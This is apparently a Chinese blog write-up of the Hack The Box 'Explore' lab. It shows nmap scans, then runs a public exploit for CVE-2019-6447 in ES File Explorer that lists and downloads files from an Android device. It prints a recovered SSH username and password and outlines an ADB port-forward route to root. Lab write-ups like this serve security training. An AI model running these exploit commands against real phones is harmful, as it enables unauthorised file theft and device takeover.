知识点:安卓渗透、es file explorer利用、渗透异常状态推断和处置、adb分析、ssh本地端口转发、adb利用提权
Scan
扫到2222端口,谷歌搜索相关Banana Studio,似乎是google play的某应用,提供ssh服务。
5555端口是filtered状态,阻断了外部连接,打入内部时可以关注。
42135端口发现ES File Explorer,谷歌得知是一种文件管理器。
最后扫出是安卓系统可能性较大,可以尝试。
┌──(kali㉿kali)-[~/Desktop/htb]
└─$ sudo nmap --min-rate 10000 -p- 10.129.206.179
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-09 03:28 EST
Nmap scan report for 10.129.206.179
Host is up (0.43s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
2222/tcp open EtherNetIP-1
5555/tcp filtered freeciv
36925/tcp open unknown
42135/tcp open unknown
59777/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 12.35 seconds
┌──(kali㉿kali)-[~/Desktop/htb]
└─$ sudo nmap -sC -sT -sV -O -p2222,5555,36925,59777 10.129.206.179
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-09 03:29 EST
Nmap scan report for 10.129.206.179
Host is up (0.42s latency).
PORT STATE SERVICE VERSION
2222/tcp open ssh (protocol 2.0)
| ssh-hostkey:
|_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-SSH Server - Banana Studio
5555/tcp filtered freeciv
36925/tcp open unknown
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 412 Precondition Failed
| Date: Tue, 09 Jan 2024 08:29:28 GMT
| Content-Length: 0
| HTTPOptions:
| HTTP/1.0 501 Not Implemented
| Date: Tue, 09 Jan 2024 08:29:33 GMT
| Content-Length: 29
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Method not supported: OPTIONS
| Help:
| HTTP/1.0 400 Bad Request
| Date: Tue, 09 Jan 2024 08:29:52 GMT
| Content-Length: 26
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line: HELP
| Kerberos:
| HTTP/1.0 400 Bad Request
| Date: Tue, 09 Jan 2024 08:29:58 GMT
| Content-Length: 41
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| qj?n0?k?
| RTSPRequest:
| HTTP/1.0 400 Bad Request
| Date: Tue, 09 Jan 2024 08:29:33 GMT
| Content-Length: 39
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| valid protocol version: RTSP/1.0
| SSLSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Tue, 09 Jan 2024 08:29:53 GMT
| Content-Length: 73
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ?G???,???`~?
| ??{????w????<=?o?
| TLSSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Tue, 09 Jan 2024 08:29:55 GMT
| Content-Length: 71
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ??random1random2random3random4
| TerminalServerCookie:
| HTTP/1.0 400 Bad Request
| Date: Tue, 09 Jan 2024 08:29:55 GMT
| Content-Length: 54
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
|_ Cookie: mstshash=nmap
42135/tcp open http ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: ES Name Response Server
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Android 4.1 - 6.0 (Linux 3.4 - 3.14) (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Android 5.0 - 7.0 (Linux 3.4 - 3.10) (93%), Android 4.2.2 (Linux 3.4) (92%), Sony X75CH-series Android TV (Android 5.0) (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Device: phone
59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.94%I=7%D=1/9%Time=659D03FB%P=x86_64-pc-linux-gnu%r(NUL
SF:L,24,"SSH-2.0-SSHx20Serverx20-x20Bananax20Studiorn");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port36925-TCP:V=7.94%I=7%D=1/9%Time=659D0401%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,5C,"HTTP/1.1x20412x20Preconditionx20FailedrnDate:x20Tue
SF:,x2009x20Janx202024x2008:29:28x20GMTrnContent-Length:x200rnr
SF:n")%r(HTTPOptions,B5,"HTTP/1.0x20501x20Notx20ImplementedrnDate:
SF:x20Tue,x2009x20Janx202024x2008:29:33x20GMTrnContent-Length:x202
SF:9rnContent-Type:x20text/plain;x20charset=US-ASCIIrnConnection:x2
SF:0ClosernrnMethodx20notx20supported:x20OPTIONS")%r(RTSPRequest,BB
SF:,"HTTP/1.0x20400x20Badx20RequestrnDate:x20Tue,x2009x20Janx202
SF:024x2008:29:33x20GMTrnContent-Length:x2039rnContent-Type:x20tex
SF:t/plain;x20charset=US-ASCIIrnConnection:x20ClosernrnNotx20ax2
SF:0validx20protocolx20version:x20x20RTSP/1.0")%r(Help,AE,"HTTP/1.0
SF:x20400x20Badx20RequestrnDate:x20Tue,x2009x20Janx202024x2008:29
SF::52x20GMTrnContent-Length:x2026rnContent-Type:x20text/plain;x20
SF:charset=US-ASCIIrnConnection:x20ClosernrnInvalidx20requestx20l
SF:ine:x20HELP")%r(SSLSessionReq,DD,"HTTP/1.0x20400x20Badx20Requestr
SF:nDate:x20Tue,x2009x20Janx202024x2008:29:53x20GMTrnContent-Leng
SF:th:x2073rnContent-Type:x20text/plain;x20charset=US-ASCIIrnConnec
SF:tion:x20ClosernrnInvalidx20requestx20line:x20x16x03Sx01
SF:0Ox03?G???,???`~???{????w????<=?o?x10n
SF:(x16x13")%r(TerminalServerCookie,CA,"HTTP/1.0x20400x20Badx2
SF:0RequestrnDate:x20Tue,x2009x20Janx202024x2008:29:55x20GMTrnCo
SF:ntent-Length:x2054rnContent-Type:x20text/plain;x20charset=US-ASCII
SF:rnConnection:x20ClosernrnInvalidx20requestx20line:x20x03
SF:*%?Cookie:x20mstshash=nmap")%r(TLSSessionReq,DB,"HTTP/1.0
SF:x20400x20Badx20RequestrnDate:x20Tue,x2009x20Janx202024x2008:2
SF:9:55x20GMTrnContent-Length:x2071rnContent-Type:x20text/plain;x2
SF:0charset=US-ASCIIrnConnection:x20ClosernrnInvalidx20requestx20
SF:line:x20x16x03ix01ex03x03Ux1c??random1random2random3ra
SF:ndom4x0c/")%r(Kerberos,BD,"HTTP/1.0x20400x20Badx20Request
SF:rnDate:x20Tue,x2009x20Janx202024x2008:29:58x20GMTrnContent-Len
SF:gth:x2041rnContent-Type:x20text/plain;x20charset=US-ASCIIrnConne
SF:ction:x20ClosernrnInvalidx20requestx20line:x20qj?n0?k?
SF:x03x02x01x05?x03x02x01");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Android 4.1 - 6.0 (Linux 3.4 - 3.14) (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Android 5.0 - 7.0 (Linux 3.4 - 3.10) (93%), Adtran 424RG FTTH gateway (92%), Linux 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 157.29 seconds
ES File Explorer
一些扫描的分析后,常规找公开漏洞
┌──(kali㉿kali)-[~/Desktop/htb]
└─$ searchsploit es file explore
----------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Dooblou WiFi File Explorer 1.13.3 - Multiple Vulnerabilities | php/webapps/51615.txt
ES File Explorer 4.1.9.7.4 - Arbitrary File Read | android/remote/50070.py
iOS iFileExplorer Free - Directory Traversal | ios/remote/16278.py
MetaProducts Offline Explorer 1.x - FileSystem Disclosure | windows/remote/20488.txt
Microsoft Internet Explorer - NCTAudioFile2.AudioFile ActiveX Remote Stack Overflow (2) | windows/remote/3808.html
Microsoft Internet Explorer - SLayoutRun Use-After-Free (MS13-009) (Metasploit) (1) | windows/remote/24495.rb
Microsoft Internet Explorer - SLayoutRun Use-After-Free (MS13-009) (Metasploit) (2) | windows/remote/24538.rb
Microsoft Internet Explorer - textNode Use-After-Free (MS13-037) (Metasploit) | windows/remote/25999.rb
Microsoft Internet Explorer / MSN - ICC Profiles Crash (PoC) | windows/dos/1110.txt
Microsoft Internet Explorer 4.x/5 / Outlook 2000 0/98 0/Express 4.x - ActiveX '.CAB' File Execution | windows/remote/19603.txt
Microsoft Internet Explorer 4/5 - DHTML Edit ActiveX Control File Stealing / Cross Frame Access | windows/remote/19094.txt
Microsoft Internet Explorer 5 - ActiveX Object For Constructing Type Libraries For Scriptlets File Write | windows/remote/19468.txt
Microsoft Internet Explorer 5 / Firefox 0.8 / OmniWeb 4.x - URI Protocol Handler Arbitrary File Creation/Modification | windows/remote/24116.txt
Microsoft Internet Explorer 5/6 - 'file://' Request Zone Bypass | windows/remote/22575.txt
Microsoft Internet Explorer 6 - '%USERPROFILE%' File Execution | windows/remote/22734.html
Microsoft Internet Explorer 6 - Local File Access | windows/remote/29619.html
Microsoft Internet Explorer 7 - Arbitrary File Rewrite (MS07-027) | windows/remote/3892.html
My File Explorer 1.3.1 iOS - Multiple Web Vulnerabilities | ios/webapps/28975.txt
WebFileExplorer 3.6 - 'user' / 'pass' SQL Injection | php/webapps/35851.txt
----------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
看到有一个属于安卓平台的漏洞利用代码,可以尝试一下
是个cve,可以看看用法
例举图片
┌──(kali㉿kali)-[~/Desktop/htb/Explore]
└─$ python3 50070.py listPics 10.129.206.179
==================================================================
| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |
| Coded By : Nehal a.k.a PwnerSec |
==================================================================
name : concept.jpg
time : 4/21/21 02:38:08 AM
location : /storage/emulated/0/DCIM/concept.jpg
size : 135.33 KB (138,573 Bytes)
name : anc.png
time : 4/21/21 02:37:50 AM
location : /storage/emulated/0/DCIM/anc.png
size : 6.24 KB (6,392 Bytes)
name : creds.jpg
time : 4/21/21 02:38:18 AM
location : /storage/emulated/0/DCIM/creds.jpg
size : 1.14 MB (1,200,401 Bytes)
name : 224_anc.png
time : 4/21/21 02:37:21 AM
location : /storage/emulated/0/DCIM/224_anc.png
size : 124.88 KB (127,876 Bytes)
┌──(kali㉿kali)-[~/Desktop/htb/Explore]
└─$ python3 50070.py getFile 10.129.206.179 /storage/emulated/0/DCIM/creds.jpg
#可得creds图片
kristi
Kr1sT!5h@Rp3xPl0r3!
拿到一组凭据,尝试ssh,成功,基础枚举后得到userflag,看连接状态,5555是内部开启的
:/ $ ss -tln
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 50 [::ffff:10.129.206.179]:41083 *:*
LISTEN 0 50 *:59777 *:*
LISTEN 0 50 *:2222 *:*
LISTEN 0 8 [::ffff:127.0.0.1]:35665 *:*
LISTEN 0 4 *:5555 *:*
LISTEN 0 10 *:42135 *:*
谷歌搜索一波可以知道5555通常是用来adb调试,这里做一个隧道端口转发(adb本就是用于调试的工具,一般拥有较高权限,这里可以有这个思路进行尝试)
ROOT
一把梭了,安卓本就是基于类unix,思路和常规linux差不多。
原文始发于微信公众号(搁浅安全):HTB-Explore(Easy)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论